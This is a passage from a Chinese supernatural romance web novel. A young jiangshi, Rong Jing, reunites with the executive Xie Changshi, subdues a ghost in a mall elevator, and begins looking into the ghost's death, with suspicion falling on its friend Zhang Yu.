和记忆中没太大的变化,尤其是一双圆溜溜的眼睛打量他时有种小动物的灵动。 他迈开长腿上前两步,在容镜的面前站定,垂着眼眸,语调平静地说起少年的小秘密:“你那颗牙花了我全身上下所有的钱,一万三,你还嫌不好看,哭着问医生能不能换颗金子做的。医生笑你品味独特,你还以为他夸——” 掌心啪一下捂上他的唇,柔软的气息和触感令谢长时微微一怔。 容镜咽了咽喉咙,冲他露出讨好的笑容:“信你,信你啦,但是这种丢脸的事就不要在别人面前说了嘛。” 他侧过身,示意谢长时身后还有个助理。 宋清站在原地,盯着容镜捂住自家谢总嘴的手,眼珠子都快从眼眶内瞪出来了。 等等,不是有霸总通病洁癖吗? 洁癖呢?! “纸巾。” 低沉的声线令宋清回过神来,然后在心底松一口气。 没问题,洁癖还在。 他有随身在西装口袋揣湿纸巾的习惯,听到谢长时的吩咐,立刻上前将湿纸巾递了过去。 谢长时垂眸接过,右手长指握住少年纤细的手腕,指腹贴上去就被那种柔软滑腻的触感给刺了一下,一两秒的停顿之后,他宛若无事发生,将手腕往下拉,纸巾抵上容镜的掌心,擦了擦。 宋清:“……” 不同于宋清的无言,容镜眨了眨眼睛,砰砰乱跳的心脏在这一刻突然平和下来。 以前他出去玩,每次回家都会被谢长时拉着洗手,一边洗一边被教育:“要注意卫生,小心得病。” 然后拉过纸巾裹着他的手指,精细地不放过任何一处地方。 是谢长时。 容镜又往前走了两步,小声说:“这次我真信你是谢长时了。” 他指了指谢长时的手,补充:“你给我擦手的习惯还没变。” 擦完掌心,从中指的根部往上,再向两侧擦。 谢长时掀了掀眼皮,突兀地笑了一声。 突然的笑容软化了他禁欲而冷漠的眉眼,也轻易压住了他身上自带的那股由内而外产生的压迫感。 容镜看得有点呆,问他:“你笑什么?” “笑你也没变。” 容镜蹙眉:“我变了,我有注意卫生,吃饭前都有洗手的。” “不。”男人修长冷白的手指捏着那湿纸巾,随意地团了团扔进走道的垃圾桶内,手指自然垂落,露出青筋脉络分明的手背,他说,“我说的是,你还是跟以前一样傻呆呆的。” 话说完,不等容镜气急败坏上蹿下跳,他的手掌落在少年的脑袋上,轻轻压了压,侧身而过的瞬间偏头回望,晚霞在他身后拢出不太真切的温柔:“但也一样可爱。” 5、第 5 章 005. 容镜还没来得及恼羞成怒,就被‘但也一样可爱’六个字撞得晕头转向。 他的腿像是有自我意识一样跟在谢长时的身后,乌黑的眼睛很亮,一边往屋内走,一边不停地问:“真的吗?你真的这么觉得吗?” 喋喋不休,不像是小僵尸,倒像只小麻雀。 谢长时没有回答容镜的问题,而是转身问他:“要不要喝水?” 容镜指了指桌上的水杯:“我自己有倒。” 在谢长时抵达筒子楼之前,容镜已经进来过了。贺婆婆说,谢长时留了钥匙给她,说是以后等容镜找来了,就将钥匙给他。 容镜也没有客气,对于他来说,虽然他只在筒子楼住了一年,但803同样是他的家。 尤其是当他重新踏入803,发现与记忆中的803一模一样,没有任何改变。 一切都像是回到了十二年前,毫无陌生感。 谢长时心道这小僵尸还挺聪明,没有跟个小傻子一样在外面等他两个小时。他走入厨房,打开水龙头洗手,容镜也跟着一同走了进去,眼角余光扫到他的身影,在嘈杂的水声中,谢长时问他:“怎么找回来的?” 苏醒以后,宋清跟他汇报过南城墓园的情况,他没多解释,只说了要将消息压下来。 南城墓园在亭阳市,容镜当初昏迷被老道长封入棺中,并决定将棺材移送到南城墓园这等风水之地时,谢长时其实是有想过要不要往里放点钱。万一容镜醒了,还能拿着钱打车回绥县。 但这要求被老道长拒绝了,他说棺材内不能放其他杂物,会影响容镜的沉睡。 那副龟壳和铜钱是例外,两者都是年份已久的古董,和贴在容镜脑门上的符纸一样,是用来起镇压作用的。 容镜拿出了自己藏好的龟壳在谢长时的面前晃了晃,得意地说着这两天发生的事情:“刘老板本来还想邀请我去吃大餐呢,不过我不是要等你嘛,就拒绝了他。” “没关系,等会我带你去吃大餐。” “真的?” “嗯。” … 容镜回来的第一天,谢长时没打算带他回雁城。 他带容镜前往亭阳市的市中心吃晚饭,让宋清回了酒店休息。 谢长时挑了一家商场,一路来到商场八楼,他带着容镜逛了一圈,低声问他:“想吃什么?” 容镜的目光流连在各家的餐品照片上,觉得每一个看上去都很好吃,他的两根手指拉着男人的衣袖,踮了踮脚,在他耳边问:“谢长时,你现在是不是有钱了?有很多钱吗?” 温热的呼吸带着少年干净的气息落在耳垂上,像是被猫咪亲吻了一下。 谢长时垂在身侧的手微微收紧,片刻又放松了身体,应了一声:“你想吃什么都可以。” “那我想吃这个。”容镜的手指指向一家烤肉店。 从昌溪县回绥县的路上,容镜有听刘老板的儿子撒娇说要吃烤肉,为了说服刘老板,小孩拼命地形容烤肉有多好吃,刘老板有没有心动容镜是不知道,但容镜自己倒是被小孩说得馋虫都勾起来了。 谢长时满足容镜的一切要求。 点单的时候容镜再次询问:“点多少都可以吗?” 他握着笔,扬起头,眼睛充满希冀。 谢长时不厌其烦地点头,甚至道:“你可以把菜单上的都点一遍。” 于是,等服务员拿到菜单看到满满一页的√时,脚下步子一顿,人懵了懵,回头正欲询问,就见谢长时冲她点了点头,语气很平静地道:“都来一份。” 服务员委婉地表示:“量可能有点太多了。” “没关系,吃得完。” 这能吃完? 难不成是什么大胃王? 服务员挠挠头,最终还是没有多说。 菜品一个个被搬上来,谢长时脱下了西装外套,衬衫袖扣被挽起,露出一截冷白劲瘦的手臂,手腕处,已经显旧的红绳贴着谢长时性感的腕骨,一下子抓住了容镜的目光。 这根红绳是容镜去老道爷爷那求来的,是送给谢长时的生日礼物。 当年谢长时便一直带着,没想到隔了十二年也没摘下。 容镜感觉心脏软软的,看向谢长时的目光愈发喜悦。 烤肉滋啦滋啦地散发着香味,容镜深嗅了一口,学着谢长时的模样卷着菜叶和小菜,一口塞入嘴里,雪白的腮帮鼓起弧度,他满足地眯起眼睛。 好吃。 “慢慢吃。” “唔。” 两个小时后,吃饱了的容镜喝着烤肉店友情赠送的饮品,跟着谢长时去了商场内的其他店铺。 谢长时说要给他买手机,还要买一点换洗衣物。 手机和衣服都挑得容镜自己喜欢的,站在电梯里等待下降的过程,他挨在谢长时的身边研究手机的玩法。虽然谢长时说等回家就教他,但容镜就跟得到新玩具的小孩一样,显得迫不及待。 直到电梯忽而‘噔’地一下,停止了下降。 谢长时和容镜的目光同一时间投向了显示屏。 显示屏的数字卡在2和3中间,不停地跳动,几秒钟的时间,鲜艳的红色宛若血迹一点一点从数字下方弥漫流淌。谢长时抬起手,手指掠过屏幕,粘稠的触感顿时沾覆其上,容镜凑过来用鼻子嗅了嗅,唔了一声,表情看上去有一点点嫌弃:“是血诶。” “但是好臭,没有你的香。” “嗯。”谢长时应一声,从西装口袋中拿出湿纸巾将血迹擦拭干净。 垂眸间,电梯内再度发生了变化。 头顶出现了一只巨大的血手印,滴答滴答地往下淌着水,阴冷的风不知从哪儿吹向这个密闭的空间,宛若游蛇紧贴在谢长时裸露在外的手臂肌肤和锁骨肌肤上。 嘭! 强烈的失重感猝不及防而来,显示屏的数字直接跌至并不存在的-18,容镜一时不察撞进谢长时的怀中,捂着磕疼的下巴眼里冒火。 谢长时正欲低头,电梯内的灯光开始剧烈闪烁,很快便陷入彻底的黑暗。 他的手指试探着摸过少年脸颊的轮廓,落至下巴的位置,压着他的手指动作很轻地揉了揉,询问:“还好吗?” 容镜实话实说:“不太好,你好硬,我好疼。” 谢长时无言了一瞬。 容镜丝毫没觉得这话哪里不对,他将差点脱手的手机塞进谢长时的西装口袋藏好。这是谢长时刚刚给他买的,可不能摔坏了。 不然他会心疼的。 从男人的怀里钻出来,柔软乌黑的发梢擦过谢长时的喉颈,一扫而过的触感隐晦又迅速,本该如羽毛轻飘飘跌落,但却奇怪地引起了很剧烈的反应。 谢长时后撤一步,脊背隔着单薄的白衬衫贴上冰冷的墙壁,喉结微微滚动。 没有注意到谢长时几不可察的反应,容镜灵活地从男人的怀中钻出来,冷白瘦长的五指于空中某个方向一拽,只听一声古怪尖锐的叫声刺破耳膜,一团漆黑的半透明影子挤在容镜的指缝里,拼命地挣扎着:“放开我,放开我!” “才不要。”容镜反驳,按着这只鬼捏紧拳头哐哐哐就是三下。 程璞玉被揍得嗷嗷嚎。 它当鬼当了三年,饿了三年,终于嗅到食物的香甜气息,努力说服自己人鬼食物链存在的必要性,结果嘴都还没碰上食物,就先被人拎出来揍了一顿。 还有没有天理了?! 容镜的手不大,手指也偏纤细,看着仿佛一折就能折断,但握成拳头砸下来时重若千斤,程璞玉捂着脑袋,感觉五脏六腑都要呕出来了。 “别打了,我错了,我真的错了,我再也不吓人了!” 容镜的手一顿,狐疑地看着它:“你真的知道错了?” 程璞玉的脑袋点得跟小鸡啄米似的。 那行吧。 容镜松开手,正欲后退,却见原本还如小可怜的恶鬼突然暴起,模糊的脸开始呈现出可怖的五官,猩红的双眼里绽放无尽恶意,带着骇人的气势直扑容镜。 容镜眨了下眼睛,一拳头挥出。 噗。 程璞玉四仰八叉地啪叽一声砸在电梯墙壁,宛若一只壁虎,随着时间一分一秒流淌,慢吞吞地滑下来。 再啪叽一声,掉在了地上。 容镜嫌弃地看它一眼,等电梯重新回到b3楼,拉着谢长时往电梯外走。 边走边点评:“它好蠢。” 然后话题一转,好奇地问谢长时:“我被老道爷爷封入棺材的十二年,你也总是被鬼缠吗?” 十二年前,容镜就发现了。 谢长时是个倒霉蛋。 以他为中心,半径百米的范围内,就有不下五只鬼对他虎视眈眈,试图吃了他。 后来谢长时收养了他,带他住进了筒子楼,容镜觉得自己也该为谢长时做些什么,于是他把那些缠着谢长时的鬼全部揍了一顿,最开始那几只鬼还不死心地想要找外援,但几次下来,全被他揍得哭爹喊娘,哭唧唧爬远了。 自此之后再也没出现在谢长时身边过。 “最开始两年还好。”谢长时回答容镜的问题,“你入棺以后被你揍过的几只鬼不知道从哪得来的消息,跑了回来。” 不过它们似乎被容镜揍怕了。 并非来欺负他,倒是帮了他几次。 后来他被带去了雁城,和那几只鬼也断了联系。 换了个新环境,又没有小僵尸护着,他就好像一块散发着香味的蛋糕,再度吸引了无数对他垂涎欲滴的鬼怪。 可惜的是,他手腕上的红绳被太虚老道开过光,算法器,那些鬼怪顶多看他两眼,却近不了身。 容镜一脸若有所思地听谢长时说完,小脸摆出严肃的表情,拍拍他的肩膀:“没关系,以后你就不用担心鬼怪再来找你麻烦了。” “嗯?” 容镜想到刚才在手机屏幕上跳出来的页面,握紧拳头:“因为你的强回来了!” 谢长时:“……手机拿来。” 容镜狐疑:“干嘛?” 谢长时:“我给你删掉点没必要的软件。” … 回程的路上,容镜看上了县城夜晚道路两侧的夜宵摊。 他眼巴巴地盯着谢长时。 男人握着方向盘的手一顿,颇有几分无奈:“我找个地方停车。” 停下车,手里端了好几样小吃的容镜冲谢长时露出笑容:“谢长时,你真是个好人。” “嗯,我也觉得。” “你放心,我也是只感恩图报的小僵尸。”容镜挑挑拣拣,将一串撒了辣椒的淀粉肠递给了谢长时。 谢长时莞尔。 原来感恩图报的意思是拿着他花钱买的东西送给他。 晚上十点,一人一僵尸终于回到了筒子楼。 803内的自来水和电没停,依旧是能用的状态,谢长时将睡衣递给容镜让他去洗澡,自己则是解下了衬衫的袖口,从衣柜里找到了干净全新的床单被套,重新将床铺了一下。 卧室不大,床也是上下两层的双人床。 洗得干干净净的容镜一从浴室出来就迫不及待地扑向了上面的床,嗅着床单被套柔软的香味,他眼睛亮了亮:“还是以前的味道。” 真好闻。 不多时,谢长时穿着宽松的睡衣睡裤擦着头发走向卧室,视线扫过趴在床头摆弄手机的少年,他随意地将毛巾兜在头顶,从容镜的手中抽走手机。 容镜没有身份证,电话卡是以谢长时的名义开的。 给容镜下载了微信,创建了微信账号,添加了自己的微信,谢长时才将手机还给他。 “以后有什么事情随时找我。” 谢长时手把手教容镜怎么联系人。 容镜乖乖点头,想到方宇和刘老板都留了电话号码给他,他回忆着谢长时刚才的动作,发送了好友申请。 不过两人都没有回复。 “时间不早了,你可以睡觉了。” 容镜哦一声,在黑暗中拉起被子,闭上眼睛。 没一会儿,床铺便开始吱嘎吱嘎地响。 谢长时睡在下面,睁开眼睛望着头顶的木板,声音微哑:“睡不着吗?” 容镜含糊唔了一声:“我都睡了十二年了。” 然后又问:“你怎么也没睡?” 谢长时叹一口气:“因为我也睡了一个月了。” 6、第 6 章 006. 谢长时昏迷一月的事情在谢氏中算不上秘密,这段时间也有不少人伺机而动,试图上位。 但对于刚刚从棺材里出来的容镜而言,却很陌生。 容镜心中好奇,半趴在床上,脑袋往下探,在月色下露出一双干净的眼睛,问他:“你为什么睡了一个月?” “遇到了一只厉害的鬼。”谢长时缓声开口。 当年,太虚老道将容镜封入棺材以后,给谢长时留下了一枚白玉龙形佩,第二天便消失得无影无踪。谢长时知道玉佩是保命法器,和红绳一样,随身携带。 那天晚上他从公司回别墅,一开门,屋内灯光尽数熄灭,窗帘无风自动,浓郁的鬼气渗透了整个空间。 多年被鬼缠身,谢长时一看这阵仗便知晓对方来者不善且不容小觑。他没有犹豫,白玉龙形佩扔出的刹那与那只恶鬼撞了个正着,恶鬼嘶吼尖叫,鬼脸狰狞着撕扯着自己的身体。 可随着时间流逝,白玉龙形佩化作齑粉,被法器烫伤的恶鬼却逐渐缓了过来,再次将猩红的眼盯向了谢长时。 若非最后红绳帮忙挡了一下,他便不止是昏迷一个月那么简单了。 容镜光听形容都能猜到当时情况有多危急,气得捏紧了拳头:“那只鬼呢?” “跑了,”谢长时回答,“它受了很重的伤,应该去疗伤了。” 容镜闻言在心中冷哼。 那恶鬼最好别再上门,否则他一定把它捶成球来回踢。 “谢长时。”房间内安静了不到一分钟,容镜再次开了口。 谢长时抬头,问:“怎么了?” 容镜指了指自己此刻半挂在床栏杆上的模样,一脸认真地说:“我这样有点不太舒服。” 谢长时嘴角一抽。 这比猫还能扭的姿势要是舒服了才奇怪。 “那你好好躺。” “我想跟你躺一块,我们俩盖着棉被说悄悄话。” “……不行。” “为什么?” “太挤了。” 容镜又伸长脖子往下看了看,好吧,他承认单人床想要装下他们两个确实有点挤,他有点遗憾地重新趴回了自己的床。但没过两秒,又将脑袋伸了出来,问谢长时:“谢长时,你能不能跟我说说这十二年你过得怎么样?有没有好玩的事?对了,你高考成绩怎么样呀?是不是把那个万年老二压得死死的?” 虽然容镜对人类社会并没有太多了解,不过在那一年的耳濡目染下,也知道高考对于一个高中生最重要了。 谢长时回忆着十二年的时间。 奇怪的是,他明明是一个记忆力十分好的人,但大部分的记忆竟然都已经模糊了。 倒是和容镜一同生活的一年,点点滴滴都能迅速呈现在脑海中。 最后,他只回答了后面的问题:“我高考前转学了,万年老二是那年的省第一。” 容镜遗憾:“被他捡漏成功啦?” 捡漏二字从容镜的口中说出来让谢长时有点想笑,陆云霁这位当事人也时常自嘲自己当年捡漏成了省状元,以至于这么久以来还耿耿于怀。 谢长时说:“现在他是我的副总了。” 哦—— 容镜拖长声音,出人意料:“就是你的小弟嘛。” 那还是万年老二。 谢长时:“……” 非要这么说,也不是不行。 … 这天晚上,容镜睁眼到天明,谢长时也睁眼到天明。 第二天一早,收到自家谢总信息的宋清带着早餐来到了803,将早餐摆上桌的时候,他的目光控制不住地去看容镜。 容镜今天换上了新衣服,上身是白色的连帽卫衣,胸口有一个夸张的五彩骷髅头,下身穿着及膝的黑色短裤,露出两条白生生的腿。 年轻人的穿搭,宋特助不是很懂。 不过不能否认的是,容镜这样穿确实很好看,衬得他肤色更白,看着也更小更乖了。 嗯,他们家谢总也更像个变态了。 “你在想什么?”突如其来的声音入耳,宋清的身体像是有自我意识,腰板挺直宛若汇报工作进度般开口:“我在想——” 刚说三个字,猛地反应过来,他冲谢长时尴尬地笑了笑,连忙道:“没什么,没什么,谢总你看这早餐还可以吗?” 谢长时垂眼看了看。 宋清身为他的特助很清楚他的口味,不过今天大概是知道身旁多了个人,所以准备的早餐没有那么单一,什么稀奇古怪的糕点都备上了。 像是在哄小孩。 殊不知,小僵尸好养活得很。 他对宋清点了下头,随即又道:“容镜,过来吃饭。” “来了来了。”容镜丢下牙刷,胡乱洗了把脸,飞快来到餐桌前乖乖坐下,一口咬下桂花糕,糕点软糯,豆沙馅微甜,是他喜欢的口味。 他跟猫一样眯起眼睛露出享受的表情,眼角余光无意间瞥过好奇望过来的宋清,忽而顿了顿。 视线落在宋清的肩膀上。 同一时刻,一团漆黑的东西像是察觉到了什么,悄悄地瑟缩了下。 容镜咽下桂花糕,问宋清:“你有没有觉得你肩膀上有点重?” 宋清一愣,心中浮起讶异。 昨晚他住在亭阳市最好的酒店,睡得也很好,照理说一觉醒来应该是神清气爽。不过也不知道怎么的,等他开着车拎着早点抵达筒子楼,便觉得肩膀一阵一阵的疼。那种被重物压坏神经而导致整个肩膀都硬了一圈的麻木感逐渐浮现,就他站在803内的这几分钟时间里,他已经默不作声地揉过很多回右肩了。 可是容镜是怎么知道的? 他记得容镜刚才一直在浴室洗漱吧? 容镜的一句话带起了宋清心底狐疑,也引起了谢长时的注意。 男人一身衬衫西裤,端着咖啡走到餐桌旁坐下,眼皮微掀:“他怎么了?” 容镜咬着筷子,含糊回答:“昨天我们在电梯碰到的那只鬼趴在他肩膀上。” 宋清:“???” 什么东西?每个字他都听得懂,组合到一起怎么就变得陌生了呢? 程璞玉:“???” 它都藏好了,这个人怎么还能看见它? 几方沉默中,宋清僵硬着身体没敢动,眼神却止不住地往自己的肩膀瞧,容镜见状,热心提醒道:“看错啦,它现在趴你左边肩膀啦。” 宋清:“……” 程璞玉:“……” 程璞玉咬咬牙,认命地从宋清的身上下来,黑漆漆的一团突兀地覆盖了透明的空气,并在宋清呆滞的注视中逐渐拉长,长出了四肢和头颅,连带着那张模糊的鬼脸也呈现出清晰的五官。 宋清:“……” 他的世界观在这一刻开始重塑,并迅速想到了南城墓园的那口被推开的棺材。 喉咙不自在地咽了咽,视线求助一般看向自家谢总,然而谢长时只动作冷静淡然地敛眸喝咖啡,说:“你以后会见到更多,可以提前适应一下。” 宋清:“……” 啊? 这是人话吗? 他默默往谢长时的边上靠了靠,试图寻求安全感。 另一边,现了真身的程璞玉似乎很看不上宋清的行为,嫌弃地撇撇嘴,才小声解释:“我不是故意趴他身上的,昨天你俩离开电梯以后,我就发现我能离开那栋商场了,不过我也去不了其他地方,一直在你们房子门口徘徊。” 直到今天早上,宋清出现了。 “我就是想试试趴在他身上能不能离开这里。” 结果这个计划还没实现,就被容镜给发现了。 程璞玉觉得自己真倒霉。 容镜听完这段解释,注意力放在了程璞玉所说的“我能离开那栋商场”几个字上,他有些好奇地问:“遇到我们以前你不能离开商场吗?你怎么死的?” 程璞玉张了张嘴,本不想回答,可视线移到容镜握着筷子的漂亮手指,觉得身上又疼了。 于是果断开口:“三年前,我跟我朋友出去吃夜宵,醒来就这样了。” 他指了指自己此刻的模样。 容镜若有所思,死因不明,又被困在商场无法离开,看来程璞玉身上那点事还不算小。 他拉了拉谢长时的衣服,眼睛很亮地问:“我们帮帮它吧?” 谢长时敛眸看他,看了好一阵,才给出回复:“可以。” 容镜乐滋滋的:“到时候跟祖师爷商量,功德分你一半。” 然后也不管早饭了,凑到程璞玉的面前,问它:“你想搞清楚事情的来龙去脉,然后投胎吗?” 程璞玉昨天就已经见识过容镜的厉害了,知道他肯定不是什么普通人。 普通人哪能按着它打。 但是…… 它抿了抿唇,轻声问:“我昨天想吃了他,你还想送我去投胎?” “那我不是揍过你了吗?一报还一报嘛。” 程璞玉垂下眼眸,一时没吭声。 … 由于临时接了个活,容镜一时半会没法跟谢长时回雁城。 谢长时也没回,但他大部分时间都在筒子楼内线上办公。 宋清则是被派出去跟容镜一同调查程璞玉身上的秘密。 容镜坐在黑色迈巴赫的后座回复方宇的信息。今天早上八点左右,方宇同意了容镜的好友申请,并在十一点左右给容镜发了一段语音: “容大师,真的很感谢你送的那一卦,我大概率要升职了!” 容镜回复:“恭喜你呀。” 一抬头,就见宋清正透过后视镜看他。 容镜眨眨眼,问:“宋特助也想找我算卦吗?” 宋清被逮了个正着,原本还有点不好意思,陡然听到容镜这话,顿时好奇无比:“您还会算卦?” “当然。”容镜抬了抬下巴,“我从小在道观长大的,老道爷爷会的我都会,爷爷还经常夸我是天才。” 然后伸手比出一个数:“一卦五百。” 宋清年薪百万,别说五百,就是五万都能看在谢长时的面子上眼也不眨地将钱给出去,他没犹豫,立刻点头:“好啊,等事情解决了劳烦您给我算一卦。” 三言两语间挣了五百,容镜有点小小的激动。 车辆疾驶,很快在亭阳市下辖的长唐庄街道上停下。 程璞玉从后座探出脑袋眯起眼睛转了两圈,眼里有种久违的喜悦,它朝着某个方向指了指,对宋清和容镜道:“我以前就住在那里。” 两人看过去,发现程璞玉指的是一家火锅店。 “我家以前是开火锅店的,后来火锅店爆炸,我爸妈都死在了事故里,这家火锅店就盘给了其他人。” 从那时候开始,程璞玉便是一个人生活。 “我家在火锅店楼上。” 容镜唔了一声,和宋清对视了一眼,后者点点头,上前来到了火锅店旁的水果店。 这家水果店看上去已经很有年份了,头顶的广告牌都掉了一块。老板娘靠在门口的躺椅上,一边听着广播,一边闭眼假寐。 宋清喊了一声“老板娘”,又问:“这橘子多少钱一斤?” “三块。” “行,你给我个袋子,我装点。” 拎着橘子去称重时,宋清很随意地道:“老板娘我问你个事,这儿以前是不是住过一家人,就他们家父母开火锅店的,后来出了点事,就剩一个小孩了?” 老板娘想了想,了然:“你说的是程家吧,他们家小孩叫璞玉。” “对对对,我就是想跟您打听一下程璞玉。” “你问璞玉干什么?”老板娘上下打量宋清,宋清作为总裁助理,经常西装革履,看上去人模人样的,不像是坏人,她迟疑了一下,实话实说,“璞玉三年前就去别的地方了。” “去别的地方了?”宋清敏锐地察觉到不对劲,连忙问,“去哪儿了,去做什么了,您知道吗?” “你先告诉我你打听璞玉干什么。” “哦,他欠我钱没还,我这不是找不到他人嘛,所以来打听一下。” 欠钱没还? 老板娘皱了皱眉,觉得这行为不太符合她对璞玉那小孩的了解,但一想到那小孩一声不吭离开长唐庄,又觉得事情可能是真的。 于是她道:“去哪儿了我也不是很清楚,就说是去外面赚大钱了。” “这……谁跟你们说他去外面赚大钱了?”宋清开口询问,眸光转动间,吐出一个人名,“张裕吗?” 老板娘一愣:“你还认识张裕啊,对,就是张裕那小子说的。” 宋清闻言没再多询问,只笑着说了声谢谢,然后拎着橘子回到了车内。 将橘子递给容镜,他将自己和老板娘的对话重复了一遍。 容镜眨眨眼。 张裕啊。 那不就是和程璞玉吃夜宵的朋友么? 7、第 7 章 007. 其实在抵达长唐庄之前,容镜一行便将怀疑的目光放在了张裕的身上。 程璞玉死亡前的最后记忆与张裕有关,而经过宋清的调查可以肯定程璞玉的个人信息还未前往派出所销户,这也就证明他在大众视线中应该是‘活着’的状态。 这与现实情况相悖。 唯一可以解释的就是有人隐瞒了他的死亡。 如今从水果店老板娘的口中,他们已经可以确定这一猜测了。 “那我们现在是不是可以去找张裕了?”宋清问。 常年跟在谢长时的身边处理工作相关的事多少有点消耗他的热情,但今天这出鬼怪死因调查的行动着实让他体会到了什么叫做新鲜感和刺激感。 尤其是,他还背负着一个无辜生命的分量。 宋清觉得自己动力满满。 “不着急。”容镜剥开橘子,酸甜气息浸满整个车厢,道,“找张裕前我们可以先找警察叔叔。” 报、报警? 宋清呆了呆,表情看上去有点不可思议。 他都说服自己相信神神鬼鬼一事了,怎么解决方案还是朴实无华的报警? 警察还管这个吗? 再说了—— “报警我们该怎么说?” “实话实说呀。” “那我们可能会被赶出来。”甚至会被当成神经病大闹警局,然后喝两杯茶,再被谢总接出去。 但容镜却言之凿凿:“不会的。” 宋清不知道容镜如此笃定的原因,看对方跃跃欲试的模样也不知道该如何说服他,思量再三之后只能给谢长时发信息求助,然而令他没想到的是,谢长时的回复也令他大惊失色:听他的。 颠了,这个世界多少是有点颠了。 宋清选择跟着一起颠。 于是一鼓作气,脚下油门一踩,黑色迈巴赫驶向了亭阳市的警局。 … 午后的警局安静得都能听到风从眼前掠过的声音。 段云双双手插兜慢吞吞地从食堂绕回大厅,脑海中闪过一个个娱乐活动。 她最近闲得脑袋都能长出蘑菇来了,一天到晚待在警局好像也没什么意思,也许下午可以去附近的商场看个电影。 听说最近新出的影片质量还不错。 然后再点杯奶茶,最好是少糖加冰的。 思绪漫无边际游离时,段云双的耳边响起了一道悦耳的少年音:“你好,我想找特殊部门处理一点事情。” 特殊部门? 段云双的耳朵竖起来,脚下的步伐方向也跟着一转,走向了前台。 前台的接待人员没错过她的到来,当即对着面前的少年微微一笑:“正好,你身后那位就是我们特殊部门的负责人段云双女士,您有什么事情都可以找她。” 容镜回头,对上了一张五官美艳的脸。 段云双没有穿制服,一头大波浪棕色卷发随意找了根木簪挽起,看上去格外利落清爽。她抱着双臂,身体懒洋洋靠在台柱上,一边观察容镜一边挑眉问:“确定找特殊部门?” 容镜嗯嗯点头。 “行,跟我来。” 跟着段云双上了三楼,又一路走至走廊尽头的办公室,推开大门,入眼便是与众不同的装饰。 年份已久的桃木剑,剑下是实木的神龙木架,办公桌后方挂着巨幅的天尊画像,除此之外还有一些特殊的小玩意。 段云双没错过宋清惊讶的眼神和容镜无所变化的表情,笑了笑,弯腰倒了两杯水,示意容镜和宋清往一边的沙发坐,先问宋清:“这位先生看来不太了解我们特殊部门哦?” 被点到名字的宋清尴尬地笑了笑。 段云双倒也不介意,慢条斯理地开口介绍:“特殊部门是天师联盟与官方合作创办的部门,在每个市的警局都有分部,旨在处理该城市内发生的一些异象。” 说到‘异象’二字的时候,段云双加重了咬字。 随后又道:“那么两位可以说说,你们发现了什么。” 容镜乖乖开口:“我们在商场遇到了一只鬼,经过简单的调查,发现它的死因可能跟它以前的朋友有关系,所以想来这边查一查它的朋友。” 他三言两语将遇到程璞玉的地点、情形以及程璞玉无法离开商场等信息全部交代。 段云双原先显得懒倦的表情在听到程璞玉无法离开商场时,有了细微的变化。她垂下眼眸,眉心微蹙,随即快步走到办公桌前开始查找程璞玉的信息。 就如宋清所调查的那般,程璞玉并未被销户。 于是她又输入了张裕的名字。 张裕,亭阳市长唐庄人,今年三十岁,自己创业做点小生意,去年结了婚,同年十二月生了个儿子。 一眼看去,就是普普通通的正常情况。 “张裕和程璞玉关系很好?”段云双问道。 宋清回答:“程璞玉本人是这么说的,张裕比他大四岁,算是他半个哥哥,他从小就喜欢跟在张裕身后。程璞玉父母因事故去世以后,张裕的父母几乎把他当亲儿子,逢年过节程璞玉都是在张家过的。” 这么看来,关系是很好。 段云双看了眼张裕的家庭状况,然后目光聚焦在了张裕信息后方的‘创业做生意’五个字上。她撑着下巴思考半晌,几分钟后,从屏幕后露出意味深长的表情:“三年前,张裕的账户多了一百万。” 宋清和容镜对视一眼,后者问:“张裕现在在亭阳市吗?” “张裕结婚以后就和妻子搬去了鞍城,不过你们运气不错,高速检查站显示昨天他带着老婆儿子来亭阳了,不出意外的话是来看望父母的。” 得到了想要的消息,容镜和宋清没有在警局多做停留。 离开前,段云双跟容镜要了联系方式,又像是随口一问:“弟弟是哪个门派哪家道观的?” “玄天观。” 三个字入耳,对于段云双而言有些陌生。 她在记忆里搜寻半天,也没找到‘玄天观’的存在,便没有再纠结。 全国范围内大大小小的道观数量只多不少,不知道也属正常。 她回到办公桌前,播出去一个电话:“你回亭阳没?让我盯个人。” … 回到黑色迈巴赫内,程璞玉已经望眼欲穿。 容镜将它的脑袋塞回车内,张嘴就问:“三年前,张裕有没有遇到金钱上的问题?” 程璞玉一下子没反应过来,顿了顿才意识到容镜的询问可能与它的死因有关系,它想了想挫败地摇头:“不知道。” 它好像什么都不知道。 不知道自己是怎么死的,不知道自己和张裕到底有何仇怨。 “那到时候去问问张裕吧。” “张裕应该不会说吧?”宋清蹙眉,如果程璞玉真的是张裕杀的,张裕肯定不会说实话。 他隐瞒了这个真相三年,现在又结婚生子,肯定不会愿意坐牢。 容镜撇嘴:“吓吓他就好了,实在不行就揍一顿。” 晚上九点左右。 张裕带着妻子儿子从父母的家里出来。已经略显年迈之姿的父母跟在三人身后,老父亲笑吟吟的,老母亲一脸不舍,拉着张裕的手说着话:“下次带璞玉一块来,这小孩也真是的,三年了也不回来。” 张裕表情微微一僵,但很快反应过来,笑着说:“知道了,反正我把话带到,他来不来也不是我能决定的。行了,爸妈你们赶紧回去休息吧,时间也不早了。” “知道了,你开车回家也注意点安全。” 亭阳市到鞍城有三个小时的车程。 “要是觉得累就在服务区休息一会。” “嗯,我知道的。” 张裕的妻子闻言也跟着安抚老人家:“爸妈你们别担心,张裕要是累了,就我开车,过段时间我们再来看你们。” “好好好。” 告别了父母,张裕一家三口坐上车,很快驶离了长唐庄。 路上,张裕妻子好奇地问:“你为什么不跟他们说你已经跟程璞玉断了联系?” 虽然她没见程璞玉,但程璞玉这个名字对她来说用如雷贯耳来形容也毫不夸张。 每次来亭阳,丈夫的父母、周边的邻居,几乎都会提到程璞玉。 大家都以为程璞玉和丈夫关系很好,却不知道早在他们结婚那年,程璞玉就因为欠丈夫钱不还,换了联系方式,消失得无影无踪了。 张裕听到这个问题,有些无奈地笑了笑:“爸妈那么喜欢璞玉,几乎把璞玉当成自己的亲儿子,我要是照实说了,岂不是寒他们的心?” “那也不能这么说,他们迟早有一天要知道的。” 张裕眼神暗了暗,不动声色地转移了话题:“你要是困就先睡一会,到家了我叫你。” “行。” 黑色轿车疾驶在马路上。 他们挑的是条近道,会路过一个村庄,道路变窄,路灯也坏了几个,张裕睁大眼睛认认真真盯着周围环境,不敢分神。 然而,也不知道是不是眼睛保持同一个姿势太长时间,眼皮产生了极其强烈的酸涩感。 他单手握住方向盘,揉了下眼睛。 几秒钟的模糊之中,仿佛有一道鬼影一晃而过。 张裕猛地踩下刹车。 